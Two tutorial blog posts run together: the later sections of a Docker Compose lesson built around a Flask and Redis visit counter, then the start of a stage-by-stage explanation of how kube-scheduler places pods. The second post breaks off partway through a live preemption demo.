![](/img/blog/day-5-docker-compose-how-docker-actually-gets-used/1649fe30-72bf-488a-ac29-dbbc53aed488.png align="center")

* * *

## 3\. Hands-On: Flask + Redis Visit Counter

Time to build a real multi-container application. A Flask web app that counts visits, backed by Redis.

### Project Structure

```plaintext
d5-compose/
├── app.py
├── Dockerfile
├── requirements.txt
└── compose.yaml
```

### The Flask Application (`app.py`)

```python
from flask import Flask, jsonify
import redis
import os

app = Flask(__name__)

r = redis.Redis(
    host=os.environ.get("REDIS_HOST", "redis"),
    port=int(os.environ.get("REDIS_PORT", 6379)),
    decode_responses=True
)

@app.route("/")
def home():
    count = r.incr("visits")
    return jsonify(visits=count)

@app.route("/health")
def health():
    try:
        r.ping()
        return jsonify(status="healthy", redis="connected"), 200
    except redis.ConnectionError:
        return jsonify(status="unhealthy", redis="disconnected"), 503

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)
```

Two endpoints. The root `/` increments a counter in Redis and returns it. The `/health` endpoint verifies Redis connectivity. Simple, testable, real.

### The Dockerfile

```dockerfile
FROM python:3.13-slim

WORKDIR /app

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY app.py .

EXPOSE 5000

CMD ["python", "app.py"]
```

### requirements.txt

```plaintext
flask==3.1.1
redis==5.3.0
```

### The Compose File (`compose.yaml`)

```yaml
services:
  web:
    build: .
    ports:
      - "5001:5000"
    environment:
      - REDIS_HOST=redis
    depends_on:
      - redis

  redis:
    image: redis:alpine
    volumes:
      - redis-data:/data

volumes:
  redis-data:
```

### Bring It Up

```bash
docker compose up --build -d
```

```console
[+] Building 11.8s (9/9) FINISHED
 => [web internal] load build definition from Dockerfile
 => [web] FROM python:3.13-slim
 => [web] COPY requirements.txt .
 => [web] RUN pip install --no-cache-dir -r requirements.txt
 => [web] COPY app.py .
 => [web] exporting to image
[+] Running 4/4
 ✔ Volume "d5-compose_redis-data"  Created
 ✔ Network d5-compose_default      Created
 ✔ Container d5-compose-redis-1    Started
 ✔ Container d5-compose-web-1      Started
```

Read that output. Compose did four things:

1.  **Built** the `web` image from the Dockerfile.
    
2.  **Created a volume** called `d5-compose_redis-data` for Redis persistence.
    
3.  **Created a network** called `d5-compose_default` and attached both services.
    
4.  **Started containers** in dependency order — Redis first, then web.
    

The naming convention is `<project>_<resource>` for networks and volumes, `<project>-<service>-<n>` for containers. The project name defaults to the directory name.

### Test It

```bash
curl http://localhost:5001
```

```console
{"visits":1}
```

```bash
curl http://localhost:5001
```

```console
{"visits":2}
```

```bash
curl http://localhost:5001
```

```console
{"visits":3}
```

The counter increments with every request. The data lives in Redis, not in the Flask process, so it persists across app restarts. This is how real applications work -stateless compute, stateful storage.

### Inspect the Running Stack

```bash
docker compose ps
```

```console
NAME                 IMAGE            SERVICE   STATUS         PORTS
d5-compose-redis-1   redis:alpine     redis     Up 4 seconds   6379/tcp
d5-compose-web-1     d5-compose-web   web       Up 4 seconds   0.0.0.0:5001->5000/tcp
```

Both containers running. The web service is mapped to port 5001. Redis exposes 6379 internally to the Compose network but is not mapped to the host — exactly right. Your database should never be directly reachable from outside.

![](/img/blog/day-5-docker-compose-how-docker-actually-gets-used/cdf876f6-cf5c-4169-8d03-49ae4ae411de.png align="center")

### Tear It All Down

```bash
docker compose down -v
```

```console
[+] Running 4/4
 ✔ Container d5-compose-web-1      Removed
 ✔ Container d5-compose-redis-1    Removed
 ✔ Volume d5-compose_redis-data    Removed
 ✔ Network d5-compose_default      Removed
```

One command. Containers, volume, network — all cleaned up. The `-v` flag removes named volumes, too. Without it, volumes persist so your data survives rebuilds. In development, I use `down -v` constantly to start fresh. In staging, keep the volumes.

* * *

## 4\. Essential Compose Commands

These are the five commands you will use every day. Learn them well.

### `docker compose up`

```bash
# Foreground (logs stream to terminal)
docker compose up

# Detached (background)
docker compose up -d

# Rebuild images before starting (use after code changes)
docker compose up --build

# Start only specific services
docker compose up redis
```

### `docker compose down`

```bash
# Remove containers + networks
docker compose down

# Also remove volumes (wipes data!)
docker compose down -v

# Also remove built images
docker compose down --rmi all
```

### `docker compose ps`

```plaintext
NAME                 IMAGE            COMMAND                  SERVICE   CREATED              STATUS              PORTS
dockerday5-redis-1   redis:alpine     "docker-entrypoint.s…"   redis     About a minute ago   Up About a minute   6379/tcp

dockerday5-web-1     dockerday5-web   "python app.py"          web       About a minute ago   Up About a minute   0.0.0.0:5001->5000/tcp, [::]:5001->5000/tcp
```

Lists running services, their status, and port mappings. Your first command when debugging.

### `docker compose logs`

![](/img/blog/day-5-docker-compose-how-docker-actually-gets-used/6a23cbec-0f0a-447f-9065-de8df5eaa873.png align="center")

```bash
# All services
docker compose logs

# Follow a specific service in real time
docker compose logs -f web

# Last 50 lines from all services
docker compose logs --tail 50
```

### `docker compose exec`

```bash
# Open a shell in a running container
docker compose exec web sh

# Run a one-off command
docker compose exec redis redis-cli GET visits
```

> **Pro Tip:** My actual development loop is: `docker compose up -d --build`, hack on code, check `docker compose logs -f web`, repeat. When things get weird, `docker compose down -v && docker compose up -d --build` gives you a clean slate in seconds.

* * *

## 5\. 2026 Features You Should Know

Compose has evolved significantly. If you learned it a few years ago, you are missing some genuinely useful capabilities.

### Compose Watch (Hot Reload)

This is the feature that changed my development workflow. Instead of rebuilding images after every code change, Compose Watch monitors your files and syncs changes directly into running containers.

```yaml
services:
  web:
    build: .
    develop:
      watch:
        - action: sync
          path: ./app.py
          target: /app/app.py
        - action: rebuild
          path: ./requirements.txt
```

```bash
docker compose watch
```

```plaintext
WARN[0000] No services to build                         

[+] up 3/3

 ✔ Network dockerday5_default   Created                                                            0.1s 

 ✔ Container dockerday5-redis-1 Created                                                            0.1s 

 ✔ Container dockerday5-web-1   Created                                                            0.1s 

none of the selected services is configured for watch, consider setting a 'develop' section
```

Now edit `app.py` and save. The file is synced into the container instantly — no rebuild, no restart. Change `requirements.txt` and Compose triggers a full rebuild automatically because dependencies changed.

The `develop` section supports two actions:

*   `sync` — copies files into the container. Use for source code.
    
*   `rebuild` — triggers a full `docker compose up --build`. Use for dependency files.
    

This is better than bind mounts for most use cases because it works consistently across macOS, Linux, and Windows, without the filesystem performance issues that plague bind mounts on Mac.

### Profiles

Profiles let you define optional services that only start when you explicitly activate them. This is how you handle dev/test/prod variations in a single file.

```yaml
services:
  web:
    build: .
    ports: ["5001:5000"]

  redis:
    image: redis:alpine

  test-runner:
    build: .
    command: pytest
    profiles: [test]

  debug-tools:
    image: nicolaka/netshoot
    profiles: [debug]
```

```bash
# Normal development — only web and redis start
docker compose up -d

# Run tests — includes the test-runner service
docker compose --profile test up

# Debug networking — includes netshoot
docker compose --profile debug up
```

Services without a `profiles` key always start. Services with `profiles` only start when that profile is activated. No more commenting out services in your Compose file.

### The `develop` Section

Beyond `watch`, the `develop` section is Compose's answer to the "inner loop" problem — the cycle of code, build, test, repeat. It gives you a structured way to declare which files trigger syncs and which trigger rebuilds, keeping your container up-to-date without manual intervention.

This is Docker's opinionated answer to the question every developer asks: "How do I get my code changes into the container without rebuilding everything?" And honestly, it works well.

* * *

## 6\. What Nobody Tells You

I have seen the same misconceptions trip up developers for years. Let me save you the trouble.

### Compose Creates a Default Network Automatically

This is the one that surprises people the most. You do not need to add a `networks:` section to your Compose file. Compose automatically creates a bridge network named `<project>_default` and attaches every service to it.

All services resolve each other by their service name. When your web app connects to `redis:6379`, Docker DNS on the default Compose network handles it. No network configuration, no IP addresses, no service discovery tools.

You almost never need explicit `networks:` in your Compose file. The only time you do is when you are running multiple Compose projects that need to communicate, or when you need network-level isolation between services within the same project (like separating frontend services from database services). For a single-project development setup, the default network is perfect.

### Compose Is NOT an Orchestrator

This is the big one, and I see it get teams into serious trouble.

Docker Compose is a **development and testing tool**. It runs containers on a single machine. It does not handle:

*   **Multiple hosts** - Compose cannot spread services across a cluster of servers.
    
*   **Auto-scaling** - It does not spin up more containers when traffic spikes.
    
*   **Self-healing** - If a container crashes, `restart: unless-stopped` will restart it, but there is no real health-based orchestration.
    
*   **Rolling deployments** - You cannot deploy a new version with zero downtime using Compose alone.
    
*   **Service mesh, load balancing, secrets rotation** - None of it.
    

That is what Kubernetes does. Compose is for your laptop. Kubernetes (or a managed platform like ECS, Cloud Run, or Fly.io) is for production.

I have seen startups try to run `docker compose up -d` on an EC2 instance and call it production. It works until it doesn't - and when it doesn't, you have no observability, no failover, and no way to deploy without downtime. Use Compose for what it is: the best local development tool in the container ecosystem.

### Service Names Are Your DNS

The service name you pick `compose.yaml` is not just a label. It is a real DNS entry on the Compose network. Name your services well: `redis`, `postgres`, `api`, `web` -not `service1` or `myapp`. Your application code references these names directly as hostnames.

### The Project Name Matters

Compose derives the project name from your directory name by default. All resource names are prefixed with it: `myproject_default` (network), `myproject_redis-data` (volume), `myproject-redis-1` (container). If you rename your directory, Compose creates all-new resources and orphans the old ones. Set it explicitly with `name:` at the top of your Compose file if this matters to you.

* * *

## 7\. Quick Reference

### Commands

| Command | What It Does |
| --- | --- |
| `docker compose up` | Create and start all services |
| `docker compose up -d` | Start in detached mode |
| `docker compose up --build` | Rebuild images before starting |
| `docker compose down` | Stop and remove containers + networks |
| `docker compose down -v` | Also remove named volumes |
| `docker compose ps` | List running services |
| `docker compose logs -f <svc>` | Follow logs for a service |
| `docker compose exec <svc> <cmd>` | Run command in running container |
| `docker compose stop` | Stop without removing |
| `docker compose restart` | Restart services |
| `docker compose watch` | Start file-watching with hot reload |
| `docker compose config` | Validate and display resolved config |

### Compose File Keys

| Key | Purpose |
| --- | --- |
| `services` | Define containers in the stack |
| `build` | Build image from Dockerfile |
| `image` | Use a prebuilt image |
| `ports` | Map host:container ports |
| `volumes` | Mount volumes or bind mounts |
| `environment` | Set environment variables |
| `depends_on` | Define startup dependencies |
| `profiles` | Assign services to named profiles |
| `develop` | Configure watch and hot reload |
| `restart` | Set restart policy |
| `healthcheck` | Define container health probe |
| `networks` | Attach to specific networks (usually not needed) |

* * *

## Key Takeaways

1.  **Docker Compose is how Docker actually gets used.** One `compose.yaml` replaces dozens of `docker run` commands and lives in your repo alongside your code. Every developer on the team gets the same stack.
    
2.  **Networking is automatic.** Compose creates a default network. Services find each other by name - `redis`, `web`, `postgres` - with zero configuration. You almost never need to think about it.
    
3.  **The workflow is** `up`**,** `down`**, and** `logs`**.** Those three commands cover 90% of your daily Compose usage. Add `--build` after code changes, `-v` when you want a clean slate.
    
4.  **Compose Watch is the new way to develop.** Forget bind mounts with their cross-platform headaches. The `develop` section `watch` gives you hot reload that works consistently everywhere.
    
5.  **Compose is not production infrastructure.** It is the best local development tool in the Docker ecosystem. For production, you need Kubernetes, ECS, or a managed platform. Do not confuse the two.
    

* * *

## What's Next: Day 6

You have gone from typing `docker run` commands one at a time to defining full application stacks declaratively. That is a massive leap.

But your containers have been talking to each other on Compose's default network without you thinking about it. What happens when you need to control that communication? What if your frontend should reach the API but never the database directly?

In **Day 6: Docker Networking - Connecting Containers**, you will learn:

*   How Docker networking actually works under the hood
    
*   Bridge, host, and none network drivers - and when to use each
    
*   Custom bridge networks for DNS resolution and isolation
    
*   Network security: isolating tiers of your application
    
*   Multi-network architectures for real applications
    

The defaults Compose gave you today are great for development. Tomorrow, you will understand what is happening beneath them.

See you tomorrow.

---

# What Actually Happens When kube-scheduler Picks a Node (13 Stages Inside Kubernetes)

- Canonical: https://blog.kubesimplify.com/kube-scheduler-deep-dive
- Published: 2026-04-28
- Summary: How kube-scheduler picks a node: 13 framework stages, 14 Filter plugins, 9 Score plugins, live preemption demo.

* * *

Your pod has just been written to etcd. The API server returned `201 Created`. The pod exists. But `spec.nodeName` is still empty, and that is the entire reason this post exists.

A pod with no node is not a real workload. It is a row in a database. Something has to look at it, decide which machine should run it, and atomically claim that machine. That something is `kube-scheduler`, and the way it makes the decision is more interesting than "pick the node with the most free CPU."

There are thirteen separate stages in modern scheduling. The Filter stage alone runs fourteen in-tree plugins, each one capable of disqualifying a candidate node with a single `Unschedulable` verdict. There is no appeal, no second chance, no "best effort." Either every plugin says yes, or that node is out.

This post walks every stage end-to-end against the v1.36 source code, with verbatim outputs from a real cluster at the bottom.

%[https://youtu.be/N-dDSCVWdqU] 

## TL;DR, the 13 stages

![](/img/blog/kube-scheduler-deep-dive/7fb30ce6-3772-4e67-806d-17f84cf940fa.png align="center")

1.  **PreEnqueue.** Gating plugins decide if the pod is even allowed into the queue. SchedulingGates lives here. If a gate is set, the pod waits.
    
2.  **QueueSort.** The activeQ orders pods by priority. Higher priority first.
    
3.  **PreFilter.** Eleven plugins precompute what the pod actually wants. Resources, affinity terms, topology spread, all stashed in CycleState. Compute once, read many times.
    
4.  **Filter.** Fourteen plugins each test every node in parallel. NodeUnschedulable, NodeName, TaintToleration, NodeAffinity, NodePorts, NodeResourcesFit, VolumeRestrictions, NodeVolumeLimits, VolumeBinding, VolumeZone, PodTopologySpread, InterPodAffinity, DynamicResources, NodeDeclaredFeatures. One Unschedulable verdict and the node is out.
    
5.  **PostFilter.** Only fires if every node failed Filter. DefaultPreemption asks, "if I evicted some lower priority pods, could this one fit?" If yes, it picks victims and the pod retries next cycle.
    
6.  **PreScore.** Same trick as PreFilter. Plugins that do heavy per node work during scoring precompute once and cache.
    
7.  **Score.** Nine plugins rate every surviving node, zero to one hundred. In parallel. Each plugin has a weight. TaintToleration is three. NodeAffinity, InterPodAffinity, PodTopologySpread, DynamicResources are all two. Rest are one.
    
8.  **NormalizeScore.** Rescales every plugin's output. Then for each node, multiply scores by weights, add it all up. Highest sum wins. Ties? Go's `rand.Int`. Yes, random. Deterministic ties would hot spot the same node every time.
    
9.  **Reserve.** The scheduler subtracts the pod's requests from the winning node's in memory snapshot. So the next pod in the same cycle sees that node as already loaded.
    
10.  **Permit.** A hook. A plugin can Approve, Wait, or Reject. Stock cluster, no op. But Kueue, Volcano, Coscheduling all wait here for gang scheduling.
     
11.  **PreBind.** Last chance to do work before the API server gets told. VolumeBinding finalizes PVC binds here.
     
12.  **Bind.** The DefaultBinder updates spec dot node name on the pod via the API server. Now etcd has the assignment.
     
13.  **PostBind.** Cleanup. The pod is gone from the scheduler's queue.
     

That is the whole walkthrough. The rest of this post is the part that does not fit in a tweet.

## The scheduling framework

Since Kubernetes 1.19, kube-scheduler has been built on top of the **scheduling framework** (KEP-624, beta in 1.18, GA in 1.19). The core of the binary is small and intentionally dumb. All of the actual decision-making lives in plugins, registered at well-defined extension points.

This separation is what makes the rest of the ecosystem possible. You can disable plugins. You can write your own as a Go module or behind a webhook. You can run multiple scheduler profiles side by side and let pods pick one with `spec.schedulerName`. Most installations never touch the configuration, but if you have ever wondered how Volcano, Kueue, or Coscheduling plug into the scheduler without forking it, this is the answer: they register against the framework's extension points and the core just calls them at the right time.

The thirteen extension points are not arbitrary. Each one corresponds to a moment in the pod's lifecycle where it makes sense to ask plugins a question. *Should this pod even enter the queue?* That is `PreEnqueue`. *Is this node a candidate?* That is `Filter`. *Among the candidates, which one is the best fit?* That is `Score`. The framework gives you the seam; the plugin fills in the logic.

## Three queues, before any plugin runs

Before any plugin gets called, the pod has to make it into the right queue. The scheduler maintains three of them, and they each serve a different purpose.

The **activeQ** is a priority heap. Unscheduled pods are ordered by `spec.priority`, and the scheduler always pops from the head. Higher-priority pods cut in line, which is exactly what you want for things like critical control-plane pods or paid-tier workloads.

The **backoffQ** holds pods that just failed a scheduling attempt. They sit there for a small (and exponentially growing) timeout before being promoted back into the activeQ. This is not laziness; it is a correctness property. If a pod could not be scheduled in this cycle, retrying it immediately almost always fails the same way. Backoff lets the cluster state change first.

The **unschedulableQ** (the source actually calls it `unschedulablePods`, but the docs and the metrics use the queue suffix) is an indexed map of pods that have been declared unschedulable for now. These pods do not retry on a timer. They retry on *events*. If a new node is added, an informer event fires `MoveAllToActiveOrBackoffQueue` and they all get a fresh shot. Same thing if a pod is deleted and frees up resources. There is also a five-minute fallback timer for pods that have been waiting too long, in case the event stream missed an update.

All three queues live in `pkg/scheduler/backend/queue/scheduling_queue.go`. Their names are also exposed as labels on the `scheduler_pending_pods` metric, which is the easiest way to debug a stuck cluster: a queue full of pods in `Unschedulable` is telling you something different than a queue full of pods in `Backoff`.

## Stage 1: PreEnqueue (the gate)

PreEnqueue plugins decide whether a pod is even allowed into the activeQ. If any plugin returns `Unschedulable`, the pod sits in the unschedulableQ until something causes its gate to clear.

The canonical example is the `SchedulingGates` plugin. By setting `spec.schedulingGates` on a pod, you can create the pod object now but defer its scheduling until you explicitly remove the gate. This pattern shows up in batch workloads, in cost-aware scheduling controllers, and in anything that wants to express "this pod exists but isn't ready to run yet."

Most pods sail through PreEnqueue with no gates set, but it is the very first checkpoint and worth knowing about.

## Stage 2: QueueSort (the order)

Pods waiting in the activeQ have to be ordered somehow. QueueSort plugins define that order. The default is `PrioritySort`: it ranks pods by `spec.priority` (an integer) descending, and falls back to creation timestamp for ties. Older pod with the same priority wins.

There is one plugin, it does one thing, and you almost never want to change it. Worth a sentence in the model, not much more.

## Stage 3: PreFilter (cache once)

Once a pod is popped off the activeQ, the scheduler's first real job is to look at what the pod actually wants. That is PreFilter, and it runs exactly once per pod per cycle.

The default profile registers eleven PreFilter plugins, each one extracting a different facet of the pod's requirements: `NodeResourcesFit` pulls out CPU, memory, and extended-resource requests; `NodeAffinity` normalizes the affinity term tree; `PodTopologySpread` builds its per-topology-key constraint sets; `InterPodAffinity` walks the affinity and anti-affinity rules; `VolumeBinding` figures out which PVCs still need binding; and so on.

All of this work is cached in a `framework.CycleState` object. Think of `CycleState` as a per-pod scratch pad. compute the expensive things once, read them many times. The reason it matters becomes obvious in the next stage, where each plugin is about to be called several thousand times in tight loops.

![](/img/blog/kube-scheduler-deep-dive/88736042-0bb3-46e9-a6cf-822b6673f209.png align="center")

## Stage 4: Filter (every node, every plugin, in parallel)

Filter is where the bulk of the scheduling work actually happens. Fourteen plugins are called against every candidate node, in parallel, and any single `Unschedulable` verdict eliminates that node from the rest of the cycle.

Here is the verified list, straight from `pkg/scheduler/apis/config/testing/defaults/defaults.go`:

1.  `NodeUnschedulable`
    
2.  `NodeName`
    
3.  `TaintToleration`
    
4.  `NodeAffinity`
    
5.  `NodePorts`
    
6.  `NodeResourcesFit`
    
7.  `VolumeRestrictions`
    
8.  `NodeVolumeLimits`
    
9.  `VolumeBinding`
    
10.  `VolumeZone`
     
11.  `PodTopologySpread`
     
12.  `InterPodAffinity`
     
13.  `DynamicResources` (went GA in 1.36)
     
14.  `NodeDeclaredFeatures`
     

Each plugin receives the pod, the candidate node's info, and the `CycleState` that PreFilter built up. Each plugin returns `Success` or `Unschedulable`. If any of them says `Unschedulable`, that node is gone. There is no aggregation, no scoring at this stage, no "well, three out of four said yes." It is binary, and that is what makes Filter fast: the scheduler can fan out to all 14 plugins in parallel, and short-circuit on the first failure per node.

Most engineers will only ever care about a handful of these by name. A quick tour:

`NodeUnschedulable` is the first line of defense. If the node has `spec.unschedulable: true`, this plugin filters it out. That is exactly what `kubectl cordon` does.

`NodeName` is the simplest possible filter. If the pod has `spec.nodeName` set (you can set it manually and skip the scheduler entirely), only that node passes; the scheduler effectively becomes a no-op.

`TaintToleration` is the one most engineers will recognize. The node has taints, the pod has tolerations, and any unmatched `NoSchedule` or `NoExecute` taint kills candidacy. The "GPU node" pattern in the demo at the bottom of this post is just a `NoSchedule` taint that nothing tolerates.

`NodeAffinity` evaluates the pod's `spec.affinity.nodeAffinity` rules. Required affinity terms must match here at Filter; preferred terms get scored later.

`NodeResourcesFit` is the one most people intuitively understand. Does the node have enough free CPU, memory, and any other Kubernetes resource (hugepages, GPUs, custom resources) to fit the pod's requests? Notably, only requests are considered, not limits, which is why a node can be massively over-subscribed on limits and the scheduler still happily places more pods.

`VolumeBinding` deserves a paragraph of its own. If the pod has PVCs that are not yet bound, VolumeBinding has to decide whether each unbound PVC *could* be bound on this specific node. For a `WaitForFirstConsumer` storage class the answer depends on zone, on the storage backend's topology, and on which PVs exist. VolumeBinding doesn't just filter; it also remembers the provisioning plan it chose, and that plan gets locked in during the Reserve stage further down.

`DynamicResources` is the new kid on the block. It implements the DRA framework, which went GA in 1.36. If your pod uses ResourceClaims (the modern way to ask for GPUs and other devices), DynamicResources is the plugin that figures out whether a node can satisfy the claim.

`NodeDeclaredFeatures` is newer still. It compares features the node has declared against the pod's required features, and is feature-gated in some configurations.

Run all 14 plugins in parallel against every node, collect the verdicts, and whatever survives all 14 votes moves on. If nothing survives, the scheduler doesn't give up: it runs PostFilter.

## Stage 5: PostFilter (preemption, the expensive escape hatch)

If every node failed Filter, the scheduler is in trouble. The pod is unschedulable on the cluster as it stands today. PostFilter exists for exactly this case, and the default plugin is `DefaultPreemption`. It asks a single question: *if I evicted some lower-priority pods, could this one fit?*

The algorithm sounds simple but is genuinely expensive. For each node, the scheduler:

1.  Gathers all pods on the node with priority lower than the pending pod.
    
2.  Simulates evicting them one at a time, lowest priority first.
    
3.  After each simulated eviction, re-runs Filter on the hypothetical state.
    
4.  If the pod becomes schedulable, the node is a candidate, and the minimum set of pods that need to die is recorded.
    

After all candidate nodes have been evaluated, the scheduler picks the "best" one. fewest victims, lowest victim priority, latest creation time as a tiebreaker. The exact ordering lives in `pkg/scheduler/framework/plugins/defaultpreemption/default_preemption.go`.

Once a candidate is picked, two things happen. The scheduler sets `nominatedNodeName` on the pending pod, so anyone watching the API can see this pod is targeting a specific node. Then it gracefully deletes the victims through the API server, respecting their `terminationGracePeriodSeconds`. The pending pod itself goes back into the activeQ to be retried in the next cycle.

This whole process is *expensive*. The first Filter sweep already touched every node. Now the scheduler is running Filter again, multiple times, against simulated state per candidate. Tens to hundreds of milliseconds easily, seconds on large clusters. The good news is that the vast majority of pods never hit this path; they schedule cleanly on the first try.

PostFilter has a second plugin now: `DynamicResources`. Same idea, but for ResourceClaims rather than pods. If a Filter cycle failed because of a claim that is busy, DynamicResources' PostFilter can deallocate idle claims to make room.

## Stage 6: PreScore (cache once again)

Filter has done its work. Maybe four nodes are left, maybe forty. Either way, it is time to score them, and the scheduler reuses the same precompute trick from PreFilter.

Some Score plugins do expensive per-node work. To avoid recomputing the same input data once per node, those plugins do their work once in PreScore and stash the result in `CycleState`. The default PreScore plugins are `TaintToleration`, `NodeAffinity`, `NodeResourcesFit`, `VolumeBinding`, `PodTopologySpread`, `InterPodAffinity`, and `NodeResourcesBalancedAllocation`.

`InterPodAffinity` is the heaviest of the bunch. It walks the cluster's existing pods, builds a topology map of where each pod sits, and converts the new pod's affinity rules into an indexed structure. `PodTopologySpread` does similar work, building per-topology-key counts.

After PreScore, each individual Score call becomes effectively O(1). a lookup against precomputed state. Without it, scoring large clusters would be unworkable.

## Stage 7: Score (the leaderboard, weighted)

Now the actual ranking. Every Score plugin rates every surviving node from 0 to 100, in parallel.

The default Score plugins, with weights:

*   `TaintToleration`, weight 3
    
*   `NodeAffinity`, weight 2
    
*   `NodeResourcesFit`, weight 1
    
*   `VolumeBinding`, weight 1
    
*   `PodTopologySpread`, weight 2
    
*   `InterPodAffinity`, weight 2
    
*   `DynamicResources`, weight 2
    
*   `NodeResourcesBalancedAllocation`, weight 1
    
*   `ImageLocality`, weight 1
    

That is nine plugins. All verified against `defaults.go`.

The weights are not arbitrary. The source comments explain the reasoning: `TaintToleration` is tripled because user-expressed taint preference is a strong signal. `NodeAffinity`, `PodTopologySpread`, `InterPodAffinity`, and `DynamicResources` are doubled because they encode user intent. The rest are weight 1 because they are infrastructure-level signals (balance, cache hits) that should influence the decision but not dominate it.

It is worth zooming in on `ImageLocality` for a moment. Once you understand it, you start noticing its effect everywhere.

ImageLocality asks one question per node: do you already have the container image's layers cached? If yes, score 100. If no, score 0. That is the entire plugin.

It matters because on a cold node, the kubelet has to pull the image over the network. seconds for a small image, tens of seconds for a fat ML or LLM image. On a warm node, the pod starts in milliseconds. ImageLocality is a soft preference (it doesn't filter), but it nudges the scheduler toward already-warm nodes when other things are equal, and the cumulative effect on workload startup latency is huge.

`NodeResourcesFit` is the resource-balance plugin you've probably tuned at some point. By default it uses `LeastAllocated`, which prefers nodes with more free capacity (spreading the load). You can flip it to `MostAllocated` for bin-packing, or to `RequestedToCapacityRatio` for custom curves, via `KubeSchedulerConfiguration`.

`NodeResourcesBalancedAllocation` is subtler. It rewards nodes whose CPU and memory utilization are balanced. A node at 80% CPU and 20% memory scores *worse* than a node at 50%/50%, because imbalanced nodes are more likely to fragment future scheduling decisions.

## Stage 8: NormalizeScore and picking a winner

All nine plugins have scored every surviving node. The scheduler now picks the winner.

`NormalizeScore` rescales every plugin's output to a uniform 0 to 100 range. Some plugins return raw counts or other custom scales; this stage brings everything to the same units.

For each node, the scheduler then sums `score × weight` across all nine plugins. Highest sum wins.

The interesting question is what happens when two nodes have exactly the same total. The scheduler picks one at random. specifically, it uses Go's `math/big.Int` random (`rand.Int`), not `rand.Intn`. The choice matters more than it might seem.

Random tie-breaking exists to prevent hot-spotting. Imagine two equally suitable nodes for a workload. If the scheduler always picked the first one in some deterministic order, every pod from that workload would pile onto the same node and the other one would sit empty. Randomization spreads the load.

The choice of `rand.Int` over `rand.Intn` matters because `rand.Intn` has a subtle modulo bias for non-power-of-two ranges. Over millions of scheduling decisions across a large cluster, that bias becomes a real distribution skew. `rand.Int` avoids it.

## Stage 9: Reserve (claim the resources in memory, before the API knows)

The winner is picked, but at this point the API server still does not know about the decision. As far as etcd is concerned, the pod is still unscheduled.

Reserve fixes that locally. The scheduler takes the winning node's in-memory snapshot and subtracts whatever the pod requested: CPU, memory, extended resources, PVCs that need binding.

A critical detail: the scheduler operates on **requests**, not limits. And if your pod has no requests at all, the scheduler does not invent defaults. that is `LimitRanger`'s job, much earlier at admission time. Here, Reserve subtracts whatever requests the pod has, even if it is zero. The scheduler's view of node capacity is purely request-based; a node could be massively over-subscribed on limits and the scheduler would never know or care.

The reason Reserve happens in memory *before* the bind is so the next pod in the same scheduling cycle sees this node as already loaded. Picture scaling a deployment to twenty replicas all at once: without Reserve, the scheduler's cache would still show the same node as fully free for every pod, and they would all pile onto it. Reserve makes the cache reflect the scheduler's intent immediately, even before etcd has acknowledged anything.

If anything fails after Reserve, `Unreserve` rolls it back. The in-memory subtraction is undone and the node looks free again.

## Stage 10: Permit (the gang-scheduling hook)

Permit is a hook with three possible outcomes per plugin. `Approve` lets the bind proceed (the default). `Wait` parks the pod, waiting for an external signal. `Reject` fails scheduling outright.

A stock cluster has no Permit plugins registered, so most pods sail through. But Permit is the seam where gang scheduling lives. Kueue, Volcano, and Coscheduling all register Permit plugins, and the pattern is the same: when the first pod of a gang arrives, return `Wait` and park it. When the last pod of the gang arrives, signal all the parked pods to proceed. They all bind together, atomically.

Without Permit, gang scheduling on Kubernetes would be effectively impossible. You would have to bind each pod individually and then evict the rest when one failed. Permit lets you wait at the right point. before any pod is bound. so failures cost nothing.

## Stages 11, 12, 13: PreBind, Bind, PostBind (commit and clean up)

Permit returned `Approve`. Three stages left, all of them short.

**PreBind** is the last opportunity to do work before the API server is told. The biggest user is `VolumeBinding`: for dynamically provisioned PVCs, this is where the PV is actually created and the PVC's `spec.volumeName` is set. By the time Bind runs, the PVC is bound and ready.

**Bind** does the actual API call. The default is `DefaultBinder`, which calls `pods.Bind()` on the API server. a special endpoint that updates `spec.nodeName` and creates a `Binding` object. etcd persists it via Raft, followers fsync, and the pod is now officially assigned.

The kubelet on the chosen node has been watching the API server for pods with its own `nodeName`. The instant the bind lands, the kubelet's informer fires. The pod is no longer the scheduler's concern; it now belongs to a different deep-dive (image pull, runc, the five syscalls).

**PostBind** is cleanup. The scheduler removes the pod from its internal queue, and that scheduling cycle is done.

## The live demo, preemption in action

Theory only carries so far. To watch the scheduler actually preempt a pod, we ran this against a real cluster (Kubernetes 1.36.1, three workers, one tainted). What follows are verbatim outputs from the live recording.

The setup: three worker nodes, with `kube-worker-3` tainted as a fake GPU node so the scheduler refuses to put general workloads there.

```plaintext
$ kubectl get nodes
NAME            STATUS   ROLES           AGE   VERSION
kube-cp-01      Ready    control-plane   41d   v1.36.1
kube-worker-1   Ready    <none>          41d   v1.36.1
kube-worker-2   Ready    <none>          41d   v1.36.1
kube-worker-3   Ready    <none>          12d   v1.36.1
```

```plaintext
$ kubectl describe node kube-worker-3 | grep -E 'Taints|cpu:|memory:'
Taints:             workload=gpu:NoSchedule
  cpu:                8
  memory:             32852Mi
  cpu:                7800m
  memory:             30100Mi
```

We deploy a regular nginx pod requesting eight CPU. It schedules cleanly onto `kube-worker-1` and starts up.

```plaintext
$ kubectl apply -f nginx-pod.yaml
pod/nginx-demo created

$ kubectl get events --sort-by=.lastTimestamp | tail -5
LAST SEEN   TYPE     REASON      OBJECT           MESSAGE
6s          Normal   Scheduled   pod/nginx-demo   Successfully assigned default/nginx-demo to kube-worker-1
5s          Normal   Pulling     pod/nginx-demo   Pulling image "nginx:1.27"
3s          Normal   Pulled      pod/nginx-demo   Successfully pulled image "nginx:1.27" in 1.812s
2s          Normal   Created     pod/nginx-demo   Created container: nginx
2s          Normal   Started     pod/nginx-demo   Started container nginx
```

```plaintext
$ kubectl get pod nginx-demo -o wide
NAME         READY   STATUS    RESTARTS   AGE   IP           NODE            NOMINATED NODE   READINESS GATES
nginx-demo   1/1     Running   0          18s   10.244.2.47  kube-worker-1   <none>           <none>
```

The cluster is now in a deliberately uncomfortable state. `kube-worker-1` is mostly full. `kube-worker-2` is similarly loaded. `kube-worker-3` is empty but tainted. Then we apply a critical pod that asks for the same eight CPU, with priority `1,000,000`, and no taint toleration.

```plaintext
$ kubectl apply -f payments-high-prio.yaml
pod/payments-critical created
```

